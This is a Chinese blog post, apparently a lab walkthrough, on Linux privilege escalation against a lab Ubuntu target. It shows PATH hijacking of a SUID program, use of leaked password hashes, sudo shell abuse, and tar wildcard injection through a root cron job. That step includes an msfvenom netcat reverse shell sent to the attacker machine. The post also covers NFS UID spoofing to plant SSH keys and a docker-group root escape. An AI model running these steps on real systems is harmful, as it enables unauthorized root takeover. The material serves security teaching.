Linux提权

本文详细介绍了Linux系统的权限提升技术,包括环境变量提权、suid权限、密码哈希利用、滥用sudo权限和Linux定时任务提权。实验展示了如何通过修改环境变量、利用密码哈希、滥用sudo权限以及通过Linux定时任务执行恶意脚本来实现提权。此外,还探讨了NFS服务的低权限访问和Docker组提权的方法,强调了系统安全的重要性。
摘要由CSDN通过智能技术生成

预备知识

权限提升(privilege escalation)

攻击者通过安全漏洞把获取到的低权限用户突破限制,提权至高权限的管理员用户,从而获得对整个系统得控制权。

提权类别

本地提权:在一个低权限用户下,通过一些条件(应用程序漏洞、系统漏洞等)直接提升到系统最高权限;

远程提权:攻击者通过漏洞利用程序直接获取远程服务器的权限。

提权条件

拥有Webshell,普通用户权限;

拥有某些软件的账号密码;

本地或远程服务器上存在漏洞;

拥有漏洞利用工具代码。

Linux环境变量

PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。

suid权限说明

启动为进程之后,其进程的属主为原程序文件的属主

只能作用在二进制程序上,不能作用在脚本上,且设置在目录上无意义

执行suid权限的程序时,此用户将继承此程序的所有者权限

Linux密码哈希

在linux中有两个存储用户信息的文件分别是/etc/passwd和/etc/shadow

/etc/passwd:所有用户都可以查看,存储着所有用户的信息,每一行代表一个用户,每一行通过冒号分为七个部分:
用户名;密码,x表示密码保存在/etc/shadow;UID,0代表root;GID,表示所在组;描述信息,依次为Full Name、Room Number、Work Phone、Home Phone和Other;用户主目录;默认shell类型。

/etc/shadow:只有root用户能够查看,保存加密后的密码和用户相关密码信息,每个用户一行,每一行通过冒号分为九个部分
用户名;加密后的密码;上次修改密码的时间(从1970.1.1开始的总天数);两次修改密码间隔的最少天数,如果为0,则没有限制;两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为99999则没有限制提;前多少天警告用户密码将过期;在密码过期之后多少天禁用此用户;用户过期日期(从1970.1.1开始的总天数),如果为0,则该用户永久可用;保留

Linux定时任务

crontab:定时任务的守护进程
系统定时任务:/etc/crontab
用户定时任务:/var/spool/cron/
crontab -l:查看当前用户定时任务列表

NFS简介

NFS:Network File System,即网络文件系统,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。2049端口对应NFS服务。

实验目的

学会如何利用环境变量、密码哈希、滥用的SUDO权限、Linux定时任务进行提权,了解NFS服务低权限访问以及Docker组的提权方式。

实验环境

目标机器:Ubuntu、IP:10.1.1.200、ssh: User-Password:any
攻击机器:Kali、IP:10.1.1.100

实验步骤

实验步骤一

任务描述:ssh连接目标机器,利用环境变量、密码哈希、滥用的SUDO权限、Linux定时任务进行提取。
在这里插入图片描述
环境变量提权
有些程序使用了system等函数调用了系统命令,但是没有使用绝对路径,而是使用env命令从环境变量中进行查找,可以通过修改环境变量来进行权限提升。
myps程序通过调用系统命令执行了ps命令,然后我们通过find命令查找拥有suid权限的文件:

这里可以看到/usr/bin/myps具有SUID权限,执行myps的话可以看到系统执行了ps命令:

接下来进行环境变量的提权。首先进入tmp目录创建一个自己的ps命令,同时赋予相应对应权限:

然后我们查看当前环境变量:

将/tmp目录加入PATH变量的最前面,执行我们自己的ps命令:
export PATH=/tmp:$PATH

我们执行一下myps程序,由于myps程序具有suid位,所以myps会以自身权限执行ps命令。/tmp/ps又以myps的权限执行了/bin/bash命令,因此我们得到了一个具有myps权限的shell:

密码哈希提权
从上述描述能够知道,当前是没有权限去查看/etc/shadow,但是我们可以去查看/etc/passwd,在这个文件中可能会出现泄露密码的hash:
在这里插入图片描述
在这里插入图片描述
当我们得到hash后我们可以去做解密,得到密码明文解密网站
然后我们切换到user用户,可以得到root权限:
在这里插入图片描述
滥用的SUDO权限
sudo是Linux系统管理指令,是允许系统管理源让普通用户执行一些或者全部的root命令的一个工具。执行流程:当前用户转到root,然后以root身份执行命令,执行完成后,直接退回到当前用户。
注意:执行sudo时输入的密码是当前用户的密码,并非root密码。
sudo配置文件:/etc/sudoers
配置文件权限:0440
sudo -l:显示自己(执行sudo的使用者)的权限
在这里插入图片描述
我们这里可以看到我们能够以root权限去执行/bin/ash(Linux中的shell),常见的Shell有sh、bash、csh、tcsh、ash等。
那我们直接sudo /bin/ash就能得到root权限:
在这里插入图片描述
Linux定时任务提权
我们首先去查看系统定时任务:cat /etc/crontab
在这里插入图片描述
发现一个以root用户执行的定时任务。
接下来去查看一个脚本做了什么操作:
在这里插入图片描述
这个脚本将home目录下面所有用户家目录下的文件备份打包到/etc/backup目录下。
来了解一个古老的unix黑客技术:通配符注入(Wildcard Injection),就是用“特殊的文件名”来辅助执行命令。我们来看几个简单的实例:
首先建立三个文件,各自写入一行内容:
mkdir wild
cd wild
echo “hello friends” > file1
echo “this is wildcard injection” > file2
echo “take help” > --help

之后用cat命令来查看这些文件:
在这里插入图片描述
前面两个是不会有异常的,但是在尝试读取–help这个文件的时候,显示的不是take help,而是从自己的库中调用自己的-help选项,这种类型的技巧称为Wildcard wildness。
接下来看提权,首先在kali中通过msfvenom生成一个netcat反弹语句:
msfvenom -p cmd/unix/reverse_netcat lhost=10.1.1.100 Iport=8888 -f raw
在这里插入图片描述
然后将所生成的反弹shell的命令写入脚本:
在这里插入图片描述
echo “” > “–checkpoint-action=exec=sh shell.sh”
echo “” > --checkpoint=1
dir

在这里插入图片描述
–checkpoint-action选项:用于指定到达检查点时要执行的程序,这将允许我们运行一个任意的命令。选项–checkpoint=1和–checkpoint-action=exec=sh shell.sh 作为命令选项交给了tar程序。
目标最终执行的命令是:
tar -zcf /etc/backups/home-hetianlab.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh
同时开启kali的nc监听:nc -lvvp 8888:
在这里插入图片描述
然后等待定时任务执行,就能够得到root权限:
在这里插入图片描述

实验步骤二

任务描述:了解NFS服务低权限访问以及Docker组的提权方式。
NFS服务低权限访问
首先nmap扫描靶机:nmap -sT -T4 10.1.1.200

使用showmount检索靶机文件夹列表
在这里插入图片描述
可以得出存在nfs文件挂在漏洞,挂在lab用户的home到我们本地。
创建一个文件夹,然后将目标/home/lab目录挂在到我们本地的/mnt/lab目录:
mkdir /mnt/lab
mount 10.1.1.200:/home/lab /mnt/lab

在这里插入图片描述
所以我们访问/mnt/lab实际访问的是10.1.1.200这个lab用户的home目录:
在这里插入图片描述
尝试在挂在的目录里创建文件,提示权限不够:
在这里插入图片描述
即使我们在kali攻击机上是root用户,但是我们还是没有写入权限,因为默认情况下客户端的root身份会被主动压缩成匿名者。

通过伪造文件所有者的UID和GID来欺骗NFS服务器,创建一个gid为1004的用户组,接着创建lab这个账户uid指定为1003,gid指定为1004。

这边uid和gid可以通过查看/etc/passwd获得:
在这里插入图片描述
首先创建一个gid为1004的用户组:
在这里插入图片描述
然后创建lab用户指定gid和uid为1003和1004:
在这里插入图片描述**通过cat /etc/passwd查看**
切换到lab用户,发现可以写文件
在这里插入图片描述
由于我们可以写文件了,那么我们可以通过写ssh公钥的方式写入目标然后在远程连接拿下lab用户。
首先呢,需要在kali生成公私钥对:ssh-keygen

在挂载的目录创建.ssh目录:

然后将我们本地的公钥传输到挂载的.ssh目录下并赋予权限:
Alt
接下来使用密钥登陆lab用户

但是我们去查看权限的话会发现这个用户并没有root权限,但是这个用户在docker组中
在这里插入图片描述
我们通过Docker组提权
docker run 0v /:/hostOS -i -t chrisfosterelli/rootplease
原理:从Docker Hub上面下载镜像,然后运行。参数-v:将容器外部的目录/挂载到容器内部/hostOS,并且使用-i和-t参数进入容器的shell。

这个容器的启动脚本是exploit.sh,主要内容是:chroot到容器的/hostOS(也就是宿主机的/),然后获取宿主机的root权限。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值